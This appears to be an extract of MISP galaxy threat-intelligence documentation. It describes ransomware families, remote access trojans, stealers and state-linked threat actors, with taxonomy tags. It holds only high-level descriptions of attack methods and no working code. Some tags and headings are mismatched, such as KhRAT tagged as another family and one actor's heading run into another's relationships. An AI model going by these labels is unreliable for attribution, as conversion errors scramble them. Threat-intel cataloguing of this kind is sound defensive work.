Today one of our volunteers, Aura, told me about a new malspam campaign pretending to be from Craigslist that is under way and distributing the Sigma Ransomware. These spam emails contain password protected Word or RTF documents that download the Sigma Ransomware executable from a remote site and install it on a recipients computer.

The tag is: `misp-galaxy:ransomware="Sigma Ransomware"`

Crypt0saur

The tag is: `misp-galaxy:ransomware="Crypt0saur"`

Mongo Lock

An attack called Mongo Lock is targeting remotely accessible and unprotected MongoDB databases, wiping them, and then demanding a ransom in order to get the contents back. While this new campaign is using a name to identify itself, these types of attacks are not new and MongoDB databases have been targeted for a while now. These hijacks work by attackers scanning the Internet or using services such as Shodan.io to search for unprotected MongoDB servers. Once connected, the attackers may export the databases, delete them, and then create a ransom note.
explaining how to get the databases back.

Ryuk ransomware

Similar to Samas and BitPaymer, Ryuk is specifically used to target enterprise environments. Code comparison between versions of Ryuk and Hermes ransomware indicates that Ryuk was derived from the Hermes source code and has been under steady development since its release. Hermes is commodity ransomware that has been observed for sale on forums and used by multiple threat actors. However, Ryuk is only used by GRIM SPIDER and, unlike Hermes, Ryuk has only been used to target enterprise environments. Since Ryuk’s appearance in August, the threat actors operating it have netted over 705.80 BTC across 52 transactions for a total current value of $3,701,893.98 USD.

The tag is: misc-galaxy:ransomware="Ryuk ransomware"

Table 4548. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

BitPaymer

In August 2017, a new ransomware variant identified as BitPaymer was reported to have ransomed the U.K.’s National Health Service (NHS), with a high ransom demand of 53 BTC (approximately $200,000 USD). The targeting of an organization rather than individuals, and the high ransom demands, made BitPaymer stand out from other contemporary ransomware at the time. Though the encryption and ransom functionality of BitPaymer was not technically sophisticated, the malware contained multiple anti-analysis features that overlapped with Dridex. Later technical analysis of BitPaymer indicated that it had been developed by INDRIK SPIDER, suggesting the group had expanded its criminal operation to include ransomware as a monetization strategy.

**Princess Evolution**

We have been observing a malvertising campaign via Rig exploit kit delivering a cryptocurrency-mining malware and the GandCrab ransomware since July 25. On August 1, we found Rig’s traffic stream dropping a then-unknown ransomware. Delving into this seemingly new ransomware, we checked its ransom payment page in the Tor network and saw it was called Princess Evolution (detected by Trend Micro as RANSOM_PRINCESSLOCKER.B), and was actually a new version of the Princess Locker ransomware that emerged in 2016. Based on its recent advertisement in underground forums, it appears that its operators are peddling Princess Evolution as a ransomware as a service (RaaS) and are looking for affiliates. The new malvertising campaign we observed since July 25 is notable in that the malvertisements included Coinhive (COINMINER_MALXMR.TIDBF). Even if users aren’t diverted to the exploit kit and infected with the ransomware, the cybercriminals can still earn illicit profit through cryptocurrency mining. Another characteristic of this new campaign is that they hosted their malvertisement page on a free web hosting service and used domain name system canonical name (DNS CNAME) to map their advertisement domain on a malicious webpage on the service.

The tag is: misp-galaxy:ransomware="Princess Evolution"

Table 4551. Table References

<table>
<thead>
<tr>

GlobeImposter

During December 2017, a new variant of the GlobeImposter Ransomware was detected for the first time and reported on malware-traffic-analysis. At first sight this ransomware looks very similar to other ransomware samples and uses common techniques such as process hollowing. However, deeper inspection showed that like LockPoS, which was analyzed by CyberBit, GlobeImposter too bypasses user-mode hooks by directly invoking system calls. Given this evasion technique is being leveraged by new malware samples may indicate that this is a beginning of a trend aiming to bypass user-mode security products.

Sodinokibi

Attackers are actively exploiting a recently disclosed vulnerability in Oracle WebLogic to install a new variant of ransomware called "Sodinokibi." Sodinokibi attempts to encrypt data in a user’s directory and delete shadow copy backups to make data recovery more difficult. Oracle first patched the issue on April 26, outside of their normal patch cycle, and assigned it CVE-2019-2725. This vulnerability is easy for attackers to exploit, as anyone with HTTP access to the WebLogic server could carry out an attack. Because of this, the bug has a CVSS score of 9.8/10. Attackers have been making use of this exploit in the wild since at least April 17. Cisco’s Incident Response (IR) team, along with Cisco Talos, are actively investigating these attacks and Sodinokibi.

The tag is: misp-galaxy:ransomware="Sodinokibi"

Phobos

Phobos exploits open or poorly secured RDP ports to sneak inside networks and execute a ransomware attack, encrypting files and demanding a ransom be paid in bitcoin for returning the files, which in this case are locked with a .phobos extension.

The tag is: misp-galaxy:ransomware="Phobos"

GetCrypt

A new ransomware is in the dark market which encrypts all the files on the device and redirects victims to the RIG exploit kit.

The tag is: misp-galaxy:ransomware="GetCrypt"
RAT

remote administration tool or remote access tool (RAT), also called sometimes remote access trojan, is a piece of software or programming that allows a remote "operator" to control a system as if they have physical access to that system.

RAT is a cluster galaxy available in JSON format at this location. The JSON format can be freely reused in your application or automatically enabled in MISP.

**Bifrost**

Bifrost is a discontinued backdoor trojan horse family of more than 10 variants which can infect Windows 95 through Windows 10 (although on modern Windows systems, after Windows XP, its functionality is limited). Bifrost uses the typical server, server builder, and client backdoor program configuration to allow a remote attacker, who uses the client, to execute arbitrary code on the compromised machine (which runs the server whose behavior can be controlled by the server editor).

**Back Orifice 2000**

Back Orifice 2000 (often shortened to BO2k) is a computer program designed for remote system administration. It enables a user to control a computer running the Microsoft Windows operating system from a remote location. The name is a pun on Microsoft BackOffice Server software. Back Orifice 2000 is a new version of the famous Back Orifice backdoor trojan (hacker’s remote access tool). It was created by the Cult of Dead Cow hackers group in July 1999. Originally the BO2K was released as a source code and utilities package on a CD-ROM. There are reports that some files on that CD-ROM were infected with CIH virus, so the people who got that CD might get infected and spread not only the compiled backdoor, but also the CIH virus.

The tag is: *misp-galaxy:rat="Back Orifice 2000"*

**NJRat**

NJRat is a remote access trojan (RAT), first spotted in June 2013 with samples dating back to November 2012. It was developed and is supported by Arabic speakers and mainly used by cybercrime groups against targets in the Middle East. In addition to targeting some governments in the region, the trojan is used to control botnets and conduct other typical cybercrime activity. It infects victims via phishing attacks and drive-by downloads and propagates through infected USB keys or networked drives. It can download and execute additional malware, execute shell commands, read and write registry keys, capture screenshots, log keystrokes, and spy on webcams.

The tag is: `misp-galaxy:rat="NJRat"`

NJRat is also known as:

Dendroid

Dendroid is malware that affects Android OS and targets the mobile platform. It was first discovered in early of 2014 by Symantec and appeared in the underground for sale for $300. Some things were noted in Dendroid, such as being able to hide from emulators at the time. When first discovered in 2014 it was one of the most sophisticated Android remote administration tools known at that time. It was one of the first Trojan applications to get past Google's Bouncer and caused researchers to warn about it being easier to create Android malware due to it. It also seems to have follow in the footsteps of Zeus and SpyEye by having simple-to-use command and control panels. The code appeared to be leaked somewhere around 2014. It was noted that an apk binder was included in the leak, which provided a simple way to bind Dendroid to legitimate applications.
The tag is: `misp-galaxy:rat="Dendroid"`

Kiler RAT

This remote access trojan (RAT) has capabilities ranging from manipulating the registry to opening a reverse shell. From stealing credentials stored in browsers to accessing the victims webcam. Through the Command & Control (CnC) server software, the attacker has capabilities to create and configure the malware to spread utilizing physical devices, such as USB drives, but also to use the victim as a pivot point to gain more access laterally throughout the network. This remote access trojan could be classified as a variant of the well-known njrat, as they share many similar features such as their display style, several abilities and a general template for communication methods. However, where njrat left off KilerRat has taken over. KilerRat is a very feature rich RAT with an active development force that is rapidly gaining in popularity amongst the middle eastern community and the world.

The tag is: misp-galaxy:rat="Kiler RAT"

Kiler RAT is also known as:

- Njw0rm

Kiler RAT has relationships with:

- similar: misp-galaxy:rat="NJRat" with estimative-language:likelihood-probability="likely"

xHacker Pro RAT

The tag is: misp-galaxy:rat="xHacker Pro RAT"

NetDevil

Backdoor.NetDevil allows a hacker to remotely control an infected computer.

The tag is: misp-galaxy:rat="NetDevil"

NetDevil has relationships with:
NanoCore

In September of 2015, a DigiTrust client visited a web link that was providing an Adobe Flash Player update. The client, an international retail organization, attempted to download and run what appeared to be a regular update. The computer trying to download this update was a back office system that processed end of day credit card transactions. This system also had the capability of connecting to the corporate network which contained company sales reports. DigiTrust experts were alerted to something malicious and blocked the download. The investigation found that what appeared to be an Adobe Flash Player update, was a Remote Access Trojan called NanoCore. If installation had been successful, customer credit card data, personal information, and internal sales information could have been captured and monetized. During the analysis of NanoCore, our experts found that there was much more to this RAT than simply being another Remote Access Trojan.

The tag is: `misp-galaxy:rat="NanoCore"`

NanoCore has relationships with:

• similar: `misp-galaxy:rat="Net Devil"` with `estimative-language:likelihood-probability="likely"`

Cobian RAT

The Zscaler ThreatLabZ research team has been monitoring a new remote access Trojan (RAT) family called Cobian RAT since February 2017. The RAT builder for this family was first advertised on multiple underground forums where cybercriminals often buy and sell exploit and malware kits. This RAT builder caught our attention as it was being offered for free and had lot of similarities to the njRAT/H-Worm family.

The tag is: `misp-galaxy:rat="Cobian RAT"`

Cobian RAT has relationships with:

• similar: `misp-galaxy:malpedia="Cobian RAT"` with `estimative-language:likelihood-probability="likely"`
**Netsupport Manager**

Netsupport Manager continues to deliver the very latest in remote access, PC support and desktop management capabilities. From a desktop, laptop, tablet or smartphone, monitor multiple systems in a single action, deliver hands-on remote support, collaborate and even record or play back sessions. When needed, gather real-time hardware and software inventory, monitor services and even view system config remotely to help resolve issues quickly.

Xsser

Xsser mRAT is a piece of malware that targets iOS devices that have software limitations removed. The app is installed via a rogue repository on Cydia, the most popular third-party application store for jailbroken iPhones. Once the malicious bundle has been installed and executed, it gains persistence - preventing the user from deleting it. The mRAT then makes server-side checks and proceeds to steal data from the user’s device and executes remote commands as directed by its command-and-control (C2) server.

The tag is: `misp-galaxy:rat="Xsser"`

Xsser is also known as:

- mRAT

Trochilus

Trochilus is a remote access trojan (RAT) first identified in October 2015 when attackers used it to infect visitors of a Myanmar website. It was then used in a 2016 cyber-espionage campaign, dubbed "the Seven Pointed Dagger," managed by another group, "Group 27," who also uses the PlugX trojan. Trochilus is primarily spread via emails with a malicious .RAR attachment containing the malware. The trojan's functionality includes a shellcode extension, remote uninstall, a file manager, and the ability to download and execute, upload and execute, and access the system information. Once present on a system, Trochilus can move laterally in the network for better access. This trojan operates in memory only and does not write to the disk, helping it evade detection.

The tag is: *misp-galaxy:rat="Trochilus"

Trochilus has relationships with:

- similar: *misp-galaxy:tool="Trochilus" with estimative-language:likelihood-probability="likely"

Matryoshka

Their most commonly used initial attack vector is a simple, yet alarmingly effective, spearphishing attack, infecting unsuspecting victims via a malicious email attachment (usually an executable that has been disguised as something else). From there, Matryoshka runs second stage malware via a dropper and covertly installs a Remote Access Toolkit (RAT). This is done using a reflective loader technique that allows the malware to run in process memory, rather than being written to disk. This not only hides the install of the RAT but also ensures that the RAT will be ‘reinstalled’ after system restart.

The tag is: *misp-galaxy:rat="Matryoshka"

Matryoshka has relationships with:

- similar: *misp-galaxy:tool="Matryoshka" with estimative-language:likelihood-probability="likely"
Mangit

First discovered by Trend Micro in June, Mangit is a new malware family being marketed on both the Dark web and open internet. Users have the option to rent the trojan’s infrastructure for about $600 per 10-day period or buy the source code for about $8,800. Mangit was allegedly developed by "Ric", a Brazilian hacker, who makes himself available via Skype to discuss rental agreements. Once the malware is rented or purchased, the user controls a portion of the Mangit botnet, the trojan, the dropper, an auto-update system, and the server infrastructure to run their attacks. Mangit contains support for nine Brazilian banks including Citibank, HSBC, and Santander. The malware can also be used to steal user PayPal credentials. Mangit has the capability to collect banking credentials, receive SMS texts when a victim is accessing their bank account, and take over victim’s browsers. To circumvent two-factor authentication, attackers can use Mangit to lock victim’s browsers and push pop-ups to the victim asking for the verification code they just received.

Revenge-RAT

Revenge v0.1 was a simple tool, according to a researcher known as Rui, who says the malware’s author didn’t bother obfuscating the RAT’s source code. This raised a question mark with the researchers, who couldn’t explain why VirusTotal scanners couldn’t pick it up as a threat right away. Revenge, which was written in Visual Basic, also didn’t feature too many working features, compared to similar RATs. Even Napolean admitted that his tool was still in the early development stages, a reason why he provided the RAT for free.

rokrat

ROKRAT is a remote access trojan (RAT) that leverages a malicious Hangual Word Processor (HWP) document sent in spearphishing emails to infect hosts. The HWP document contains an embedded Encapsulated PostScript (EPS) object. The object exploits an EPS buffer overflow vulnerability and downloads a binary disguised as a .JPG file. The file is then decoded and the ROKRAT executable is initiated. The trojan uses legitimate Twitter, Yandex, and Mediafire websites for its command and control communications and exfiltration platforms, making them difficult to block globally. Additionally, the platforms use HTTPS connections, making it more difficult to gather additional data on its activities. Cisco’s Talos Group identified two email campaigns. In one, attackers send potential victims emails from an email server of a private university in Seoul, South Korea with a sender email address of “kgf2016@yonsei.ac.kr,” the contact email for the Korea Global Forum, adding a sense of legitimacy to the email. It is likely that the email address was compromised and used by the attackers in this campaign. The second is less sophisticated and sends emails claiming to be from a free Korean mail service with a the subject line, “Request Help” and attached malicious HWP filename, “I’m a munchon person in Gangwon-do, North Korea.” The ROKRAT developer uses several techniques to hinder analysis, including identifying tools usually used by malware analysts or within sandbox environments. Once it has infected a device, this trojan can execute commands, move a file, remove a file, kill a process, download and execute a file, upload documents, capture screenshots, and log keystrokes. Researchers believe the developer is a native Korean speaker and the campaign is currently targeting Korean-speakers.

**RATAttack**

RATAttack is a remote access trojan (RAT) that uses the Telegram protocol to support encrypted communication between the victim's machine and the attacker. The Telegram protocol also provides a simple method to communicate to the target, negating the need for port forwarding. Before using RATAttack, the attacker must create a Telegram bot and embed the bot's Telegram token into the trojan’s configuration file. When a system is infected with RATAttack, it connects to the bot’s Telegram channel. The attacker can then connect to the same channel and manage the
RATAttack clients on the infected host machines. The trojan's code was available on GitHub then was taken down by the author on April 19, 2017.

The tag is: misp-galaxy:rat="RATAttack"

**KhRAT**

So called because the Command and Control (C2) infrastructure from previous variants of the malware was located in Cambodia, as discussed by Roland Dela Paz at Forecpoint here, KHRAT is a Trojan that registers victims using their infected machine's username, system language and local IP address. KHRAT provides the threat actors typical RAT features and access to the victim system, including keylogging, screenshot capabilities, remote shell access and so on.

The tag is: misp-galaxy:rat="AhNyth Android"

**Socket23**

SOCKET23 was launched from his web site and immediately infected major French corporations
between August and October 1998. The virus (distributing the Trojan) was known as W32/HLLP.DeTroie.A (alias W32/Cheval.TCV). Never had a virus so disrupted French industry. The author quickly offered his own remover and made his apologies on his web site (now suppressed). Jean-Christophe X (18) was arrested on Tuesday 15 June 1999 in the Paris area and placed under judicial investigation for ‘fraudulent intrusion of data in a data processing system, suppression and fraudulent modification of data’

The tag is: misp-galaxy:rat="Socket23"

### PowerRAT

The tag is: misp-galaxy:rat="PowerRAT"

### MacSpy

Standard macOS backdoor, offered via a 'malware-as-a-service' model. MacSpy is advertised as the "most sophisticated Mac spyware ever", with the low starting price of free. While the idea of malware-as-a-service (MaaS) isn't a new one with players such as Tox and Shark the game, it can be said that MacSpy is one of the first seen for the OS X platform.

The tag is: misp-galaxy:rat="MacSpy"

MacSpy has relationships with:

- similar: misp-galaxy:malpedia="MacSpy" with estimative-language:likelihood-probability="likely"

### DNSMessenger

Talos recently analyzed an interesting malware sample that made use of DNS TXT record queries and responses to create a bidirectional Command and Control (C2) channel. This allows the attacker to use DNS communications to submit new commands to be run on infected machines and return the results of the command execution to the attacker. This is an extremely uncommon and evasive way of administering a RAT. The use of multiple stages of Powershell with various stages being completely fileless indicates an attacker who has taken significant measures to avoid detection.

The tag is: misp-galaxy:rat="DNSMessenger"
DNSMessenger has relationships with:

- similar: misp-galaxy:mitre-malware="TEXTMATE - S0146" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-malware="POWERSOURCE - S0145" with estimative-language:likelihood-probability="likely"

**NewCore**

NewCore is a remote access trojan first discovered by Fortinet researchers while conducting analysis on a China-linked APT campaign targeting Vietnamese organizations. The trojan is a DLL file, executed after a trojan downloader is installed on the targeted machine. Based on strings in the code, the trojan may be compiled from the publicly-available source code of the PcClient and PcCotr backdoor trojans.

The tag is: misp-galaxy:rat="NewCore"

htpRAT

On November 8, 2016 a non-disclosed entity in Laos was spear-phished by a group closely related to known Chinese adversaries and most likely affiliated with the Chinese government. The attackers utilized a new kind of Remote Access Trojan (RAT) that has not been previously observed or reported. The new RAT extends the capabilities of traditional RATs by providing complete remote execution of custom commands and programming. htpRAT, uncovered by RiskIQ cyber investigators, is the newest weapon in the Chinese adversary's arsenal in a campaign against Association of Southeast Asian Nations (ASEAN). Most RATs can log keystrokes, take screenshots, record audio and video from a webcam or microphone, install and uninstall programs and manage files. They support a fixed set of commands operators can execute using different command IDs — 'file download' or 'file upload,' for example—and must be completely rebuilt to have different functionality. htpRAT, on the other hand, serves as a conduit for operators to do their job with greater precision and effect. On the Command and Control (C2) server side, threat actors can build new functionality in commands, which can be sent to the malware to execute. This capability makes htpRAT a small, agile, and incredibly dynamic piece of malware. Operators can change functionality, such as searching for a different file on the victim's network, simply by wrapping commands.

The tag is: misp-galaxy:rat="htpRAT"

htpRAT has relationships with:

- similar: misp-galaxy:malpedia="htpRAT" with estimative-language:likelihood-probability="likely"

FALLCHILL

According to trusted third-party reporting, HIDDEN COBRA actors have likely been using FALLCHILL malware since 2016 to target the aerospace, telecommunications, and finance industries. The malware is a fully functional RAT with multiple commands that the actors can issue from a command and control (C2) server to a victim’s system via dual proxies. FALLCHILL typically infects a system as a file dropped by other HIDDEN COBRA malware or as a file downloaded unknowingly by users when visiting sites compromised by HIDDEN COBRA actors. HIDDEN COBRA actors use an external tool or dropper to install the FALLCHILL malware-as-a-service to establish persistence. Because of this, additional HIDDEN COBRA malware may be present on systems compromised with FALLCHILL.
The tag is: \textit{misp-galaxy:rat="FALLCHILL"}

\textbf{UBoatRAT}

Alto Networks Unit 42 has identified attacks with a new custom Remote Access Trojan (RAT) called UBoatRAT. The initial version of the RAT, found in May of 2017, was simple HTTP backdoor that uses a public blog service in Hong Kong and a compromised web server in Japan for command and control. The developer soon added various new features to the code and released an updated version in June. The attacks with the latest variants we found in September have following characteristics. Targets personnel or organizations related to South Korea or video games industry Distributes malware through Google Drive Obtains C2 address from GitHub Uses Microsoft Windows Background Intelligent Transfer Service (BITS) to maintain persistence.

The tag is: \textit{misp-galaxy:rat="UBoatRAT"}

</table>
**TSCookieRAT**

TSCookie provides parameters such as C&C server information when loading TSCookieRAT. Upon the execution, information of the infected host is sent with HTTP POST request to an external server. (The HTTP header format is the same as TSCookie.) The data is RC4-encrypted from the beginning to 0x14 (the key is Date header value), which is followed by the information of the infected host (host name, user name, OS version, etc.). Please refer to Appendix C, Table C-1 for the data format.

The tag is: `misp-galaxy:rat="TSCookieRAT"`

**Coldroot**

Coldroot, a remote access trojan (RAT), is still undetectable by most antivirus engines, despite being uploaded and freely available on GitHub for almost two years. The RAT appears to have been created as a joke, “to Play with Mac users,” and “give Mac it's rights in this [the RAT] field,” but has since expanded to work all three major desktop operating systems — Linux, macOS, and Windows— according to a screenshot of its builder extracted from a promotional YouTube video.

The tag is: `misp-galaxy:rat="Coldroot"`

**Comnie**

Comnie is a RAT originally identified by Sophos. It has been using Github, Tumbler and Blogspot as covert channels for its C2 communications. Comnie has been observed targetting government, defense, aerospace, high-tech and telecommunication sectors in Asia.

The tag is: `misp-galaxy:rat="Comnie"`
GravityRAT

GravityRAT has been under ongoing development for at least 18 months, during which the developer has implemented new features. We've seen file exfiltration, remote command execution capability and anti-vm techniques added throughout the life of GravityRAT. This consistent evolution beyond standard remote code execution is concerning because it shows determination and innovation by the actor.

The tag is: `misp-galaxy:rat="GravityRAT"`

NavRAT

Classic RAT that can download, upload, execute commands on the victim host and perform keylogging. However, the command and control (C2) infrastructure is very specific. It uses the legitimate Naver email platform in order to communicate with the attackers via email.

The tag is: misp-galaxy:rat="NavRAT"

NavRAT has relationships with:
joanap

Joanap is a two-stage malware used to establish peer-to-peer communications and to manage botnets designed to enable other operations. Joanap malware provides HIDDEN COBRA actors with the ability to exfiltrate data, drop and run secondary payloads, and initialize proxy communications on a compromised Windows device.

The tag is: `misp-galaxy:rat="joanap"`

Sisfader

Sisfader maintains persistence installing itself as a system service, it is made up of multiple components ([1] Dropper - installing the malware, [2] Agent - main code of the RAT, [3] Config - written to the registry, [4] Auto Loader - responsible for extracting the Agent, the Config from the registry) and it has its own custom protocol for communication.

The tag is: `misp-galaxy:rat="Sisfader"`

Sisfader has relationships with:

- similar: `misp-galaxy:malpedia="Sisfader"` with `estimative-language:likelihood-probability="likely"`

SocketPlayer

The RAT is written in .NET, it uses socket.io for communication. Currently there are two variants of the malware, the 1st variant is a typical downloader whereas the 2nd one has download and C2 functionalities.

The tag is: `misp-galaxy:rat="SocketPlayer"`
Hallaj PRO RAT

RAT

The tag is: misp-galaxy:rat="Hallaj PRO RAT"

NukeSped

This threat can install other malware on your PC, including Trojan:Win32/NukeSped.B!dha and Trojan:Win32/NukeSped.C!dha. It can show you a warning message that says your files will be made publicly available if you don't follow the malicious hacker's commands.

The tag is: misp-galaxy:rat="NukeSped"

TheOneSpy

Remotely monitor and control any wrong activity of kids on all smartphones & computers

The tag is: misp-galaxy:rat="TheOneSpy"
BONDUPDATER

BONDUPDATER is a PowerShell-based Trojan first discovered by FireEye in mid-November 2017, when OilRig targeted a different Middle Eastern governmental organization. The BONDUPDATER Trojan contains basic backdoor functionality, allowing threat actors to upload and download files, as well as the ability to execute commands. BONDUPDATER, like other OilRig tools, uses DNS tunneling to communicate with its C2 server. During the past month, Unit 42 observed several attacks against a Middle Eastern government leveraging an updated version of the BONDUPDATER malware, which now includes the ability to use TXT records within its DNS tunneling protocol for its C2 communications.

The tag is: misp-galaxy:rat="BONDUPDATER"

FlawedGrace

Proofpoint also point out that FlawedGrace is a full-featured RAT written in C++ and that it is a very large program that "extensive use of object-oriented and multithreaded programming techniques. "As a consequence, getting familiar with its internal structure takes a lot of time and is far from a simple task.

The tag is: misp-galaxy:rat="FlawedGrace"

H-worm

H-worm is a VBS (Visual Basic Script) based RAT written by an individual going by the name Houdini. We believe the author is based in Algeria and has connections to njq8, the author of njw0rm [1] and njRAT/LV [2] through means of a shared or common code base. We have seen the H-worm RAT being employed in targeted attacks against the international energy industry; however, we also see it being employed in a wider context as run of the mill attacks through spammed email attachments and malicious links.

The tag is: misp-galaxy:rat="H-worm"
**Parasite-HTTP-RAT**

The RAT, dubbed Parasite HTTP, is especially notable for the extensive array of techniques it incorporates for sandbox detection, anti-debugging, anti-emulation, and other protections. The malware is also modular in nature, allowing actors to add new capabilities as they become available or download additional modules post infection.

The tag is: `misp-galaxy:rat="Parasite-HTTP-RAT"`

**Caesar RAT**

Caesar is an HTTP-based RAT that allows you to remotely control devices directly from your browser.

The tag is: `misp-galaxy:rat="Caesar RAT"`

**FlawedAmmy**

During the month of October, Check Point researchers discovered a widespread malware campaign spreading a remote access trojan (dubbed “FlawedAmmy”) that allows attackers to take over victims' computers and data. The campaign was the latest and most widespread delivering the ‘FlawedAmmyy’ RAT, following a number of campaigns that have spread this malware in recent months. The Trojan allows attackers to gain full access to the machine’s camera and microphone, collect screen grabs, steal credentials and sensitive files, and intrusively monitor the victims’ actions. As a result, FlawedAmmy is the first RAT to enter the Global Threat Index’s top 10 ranking.

The tag is: `misp-galaxy:rat="FlawedAmmy"`

Stealer
A list of malware stealer.
Nocturnal Stealer

It is designed to steal data found within multiple Chromium and Firefox based browsers, it can also steal many popular cryptocurrency wallets as well as any saved FTP passwords within FileZilla. Nocturnal Stealer uses several anti-VM and anti-analysis techniques, which include but are not limited to: environment fingerprinting, checking for debuggers and analyzers, searching for known virtual machine registry keys, and checking for emulation software.

The tag is: `misp-galaxy:stealer="Nocturnal Stealer"`

Nocturnal Stealer has relationships with:

- similar: `misp-galaxy:malpedia="Nocturnal Stealer"` with `estimative-language:likelihood-probability="likely"`

Stalker Panda

The group appears to have close ties to the Chinese National University of Defense and Technology, which is possibly linked to the PLA. Stalker Panda has been observed conducting targeted attacks against Japan, Taiwan, Hong Kong, and the United States. The attacks appear to be centered on political, media, and engineering sectors. The group appears to have been active since around 2010 and they maintain and upgrade their tools regularly.

Nitro

These attackers were the subject of an extensive report by Symantec in 2011, which termed the attackers Nitro and stated: 'The goal of the attackers appears to be to collect intellectual property such as design documents, formulas, and manufacturing processes. In addition, the same attackers appear to have a lengthy operation history including attacks on other industries and organizations. Attacks on the chemical industry are merely their latest attack wave. As part of our investigations, we were also able to identify and contact one of the attackers to try and gain insights into the motivations behind these attacks.' Palo Alto Networks reported on continued activity by the attackers in 2014.

The tag is: *misp-galaxy:threat-actor*="Nitro"

Nitro is also known as:

- Covert Grove
Codoso

The New York Times described Codoso as: ‘A collection of hackers for hire that the security industry has been tracking for years. Over the years, the group has breached banks, law firms and tech companies, and once hijacked the Forbes website to try to infect visitors’ computers with malware.’

The tag is: `misp-galaxy:threat-actor="Codoso"`

Codoso is also known as:

**IXESHE**

A group of China-based attackers, who conducted a number of spear phishing attacks in 2013.

The tag is: misp-galaxy:threat-actor="IXESHE"

IXESHE is also known as:

• Numbered Panda
• TG-2754
• BeeBus
• Group 22
• DynCalc
• Calc Team
• DNSCalc
• Crimson Iron
• APT12
• APT 12
IXESHE has relationships with:

- similar: misp-galaxy:mitre-pre-attack-intrusion-set="APT12 - G0005" with estimative-language:likelihood-probability="likely"

### APT 16

Between November 26, 2015, and December 1, 2015, known and suspected China-based APT groups launched several spear-phishing attacks targeting Japanese and Taiwanese organizations in the high-tech, government services, media and financial services industries. Each campaign delivered a malicious Microsoft Word document exploiting the aforementioned EPS dict copy use-after-free vulnerability, and the local Windows privilege escalation vulnerability CVE-2015-1701. The successful exploitation of both vulnerabilities led to the delivery of either a downloader that we refer to as IRONHALO, or a backdoor that we refer to as ELMER.

The tag is: misp-galaxy:threat-actor="APT 16"

APT 16 is also known as:

- APT16
- SVCMONDR

### Aurora Panda

FireEye described APT17 in a 2015 report as: 'APT17, also known as DeputyDog, is a China based threat group that FireEye Intelligence has observed conducting network intrusions against U.S. government entities, the defense industry, law firms, information technology companies, mining companies, and non-government organizations.'

The tag is: misp-galaxy:threat-actor="Aurora Panda"

Aurora Panda is also known as:

Lotus Panda

The tag is: `misp-galaxy:threat-actor="Lotus Panda"`

Lotus Panda is also known as:
Hurricane Panda

We have investigated their intrusions since 2013 and have been battling them nonstop over the last year at several large telecommunications and technology companies. The determination of this China-based adversary is truly impressive: they are like a dog with a bone. HURRICANE PANDA’s preferred initial vector of compromise and persistence is a China Chopper webshell – a tiny and easily obfuscated 70 byte text file that consists of an ‘eval()’ command, which is then used to provide full command execution and file upload/download capabilities to the attackers. This script is typically uploaded to a web server via a SQL injection or WebDAV vulnerability, which is often trivial to uncover in a company with a large external web presence. Once inside, the adversary immediately moves on to execution of a credential theft tool such as Mimikatz (repacked to avoid AV detection). If they are lucky to have caught an administrator who might be logged into that web server at the time, they will have gained domain administrator credentials and can now roam your network at will via ‘net use’ and ‘wmic’ commands executed through the webshell terminal.

The tag is: misp-galaxy:threat-actor="Hurricane Panda"

Hurricane Panda is also known as:

- Black Vine
- TEMP.Avengers
- Zirconium
- APT 31
- APT31

Hurricane Panda has relationships with:

Anchor Panda

PLA Navy Anchor Panda is an adversary that CrowdStrike has tracked extensively over the last year targeting both civilian and military maritime operations in the green/brown water regions primarily in the area of operations of the South Sea Fleet of the PLA Navy. In addition to maritime operations in this region, Anchor Panda also heavily targeted western companies in the US, Germany, Sweden, the UK, and Australia, and other countries involved in maritime satellite systems, aerospace companies, and defense contractors. Not surprisingly, embassies and diplomatic missions in the region, foreign intelligence services, and foreign governments with space programs were also targeted.

The tag is: *misp-galaxy:threat-actor="Anchor Panda"*

Anchor Panda is also known as:

Impersonating Panda

The tag is: `misp-galaxy:threat-actor="Impersonating Panda"`

Violin Panda

We've uncovered some new data and likely attribution regarding a series of APT watering hole attacks this past summer. Watering hole attacks are an increasingly popular component of APT campaigns, as many people are more aware of spear phishing and are less likely to open documents or click on links in unsolicited emails. Watering hole attacks offer a much better chance of success because they involve compromising legitimate websites and installing malware intended to compromise website visitors. These are often popular websites frequented by people who work in specific industries or have political sympathies to which the actors want to gain access. In contrast to many other APT campaigns, which tend to rely heavily on spear phishing to gain victims, “th3bug” is known for compromising legitimate websites their intended visitors are likely to frequent. Over the summer they compromised several sites, including a well-known Uyghur
website written in that native language.

Flying Kitten has relationships with:
Cutting Kitten

While tracking a suspected Iran-based threat group known as Threat Group-2889[1] (TG-2889), Dell SecureWorks Counter Threat Unit™ (CTU) researchers uncovered a network of fake LinkedIn profiles. These convincing profiles form a self-referenced network of seemingly established LinkedIn users. CTU researchers assess with high confidence the purpose of this network is to target potential victims through social engineering. Most of the legitimate LinkedIn accounts associated with the fake accounts belong to individuals in the Middle East, and CTU researchers assess with medium confidence that these individuals are likely targets of TG-2889. One of the threat actors responsible for the denial of service attacks against U.S in 2012–2013. Three individuals associated with the group—believed to be have been working on behalf of Iran’s Islamic Revolutionary Guard Corps—were indicted by the Justice Department in 2016.

</table>
APT 29

A 2015 report by F-Secure describe APT29 as: 'The Dukes are a well-resourced, highly dedicated and organized cyberespionage group that we believe has been working for the Russian Federation since at least 2008 to collect intelligence in support of foreign and security policy decision-making. The Dukes show unusual confidence in their ability to continue successfully compromising their targets, as well as in their ability to operate with impunity. The Dukes primarily target Western governments and related organizations, such as government ministries and agencies, political think tanks, and governmental subcontractors. Their targets have also included the governments of members of the Commonwealth of Independent States; Asian, African, and Middle Eastern governments; organizations associated with Chechen extremism; and Russian speakers engaged in the illicit trade of controlled substances and drugs. The Dukes are known to employ a vast arsenal of malware toolsets, which we identify as MiniDuke, CosmicDuke, OnionDuke, CozyDuke, CloudDuke, SeaDuke, HammerDuke, PinchDuke, and GeminiDuke. In recent years, the Dukes have engaged in apparently biannual large-scale spear-phishing campaigns against hundreds or even thousands of recipients associated with governmental institutions and affiliated organizations. These campaigns utilize a smash-and-grab approach involving a fast but noisy breakin followed by the rapid collection and exfiltration of as much data as possible. If the compromised target is discovered to be of value, the Dukes will quickly switch the toolset used and move to using stealthier tactics focused on persistent compromise and long-term intelligence gathering. This threat actor targets government ministries and agencies in the West, Central Asia, East Africa, and the Middle East; Chechen extremist groups; Russian organized crime; and think tanks. It is suspected to be behind the 2015 compromise of unclassified networks at the White House, Department of State, Pentagon, and the Joint Chiefs of Staff. The threat actor includes all of the Dukes tool sets, including MiniDuke, CosmicDuke, OnionDuke, CozyDuke, 